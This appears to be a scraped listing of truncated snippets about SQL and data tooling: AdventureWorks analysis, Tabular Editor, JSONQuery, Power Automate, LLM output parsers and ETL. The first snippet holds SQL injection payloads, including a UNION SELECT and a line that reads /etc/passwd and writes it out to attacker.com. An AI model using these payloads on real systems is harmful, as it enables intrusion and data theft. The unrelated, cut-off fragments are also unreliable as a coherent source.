Using SQL Functions for Data Exfiltration: ' UNION SELECT version(), current_database() -- DNS Exfiltration Using DNS Requests for Data Exfiltration: '; SELECT load_file('/etc/passwd') INTO OUTFILE '\\\attacker.com\\share' -- Leveraging JSON Functions Extracting Data Using JSON Functio...
This project utilizes advanced SQL techniques to analyze the AdventureWorks dataset, revealing trends, enhancing data visualization, and supporting decision-making within a business environment. 👤 Who is this project for? ➡️Sales managerwho want to understand the Sales revenue components and Sales...
SQL(Structured Query Language) has been around for a long time now and yet it is still the most prevalent query language developed for communicating with databases. The benefits of SQL comprise revising database tables and index structures; incorporating, revamping, and deleting rows of data; and...
quality and design: Tabular Editor integrates withBest Practices Analyzer (BPA). BPA helps data modelers with a set of customizable rules that can improve the quality, consistency, and performance of data models. You can download a set of best practice rules (provided by Microsoft...
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The operations offered as a part of this service provides data & integration engineers with the ability to transform bulk datasets from one structure into a another.Along with the core operations, the framework has custom functions built in which extend the functionality even further again. These ...
Note 1: This conversation primarily focuses on new features and improvements in JQ v2. For a more general introduction to JSONQuery see the “Resources” section at the beginning ofpart 1. Note 2: JSONQuery v2 is available here —https://github.com/steve-ssh/FMP_JSONQuery. ...
SQL Server Power BI Microsoft Teams Trello Salesforce Asana Azure Data Lake Power Automate Tutorial For Beginners Simple methods to begin using Power Automate to automate your life and work. Refer to this Power Automate tutorial to learn more about constructing flows at the beginning level. This ...
Output parsers save you from the complexity and intricacy of regular expressions, providing easy-to-use functionalities for a variety of use cases. Now that you’ve seen them in action, you can utilize output parsers to effortlessly structure and retrieve the data you need from an LLM’s outpu...
One of the challenges that data engineers are faced with in today’s “Big Data” world is the need for a scalable process that enables the data transformation workload. The typical tools used by ETL (Extract, Transform, Load) and ELT (Extract, Load, Transform) processes (think SQL Server...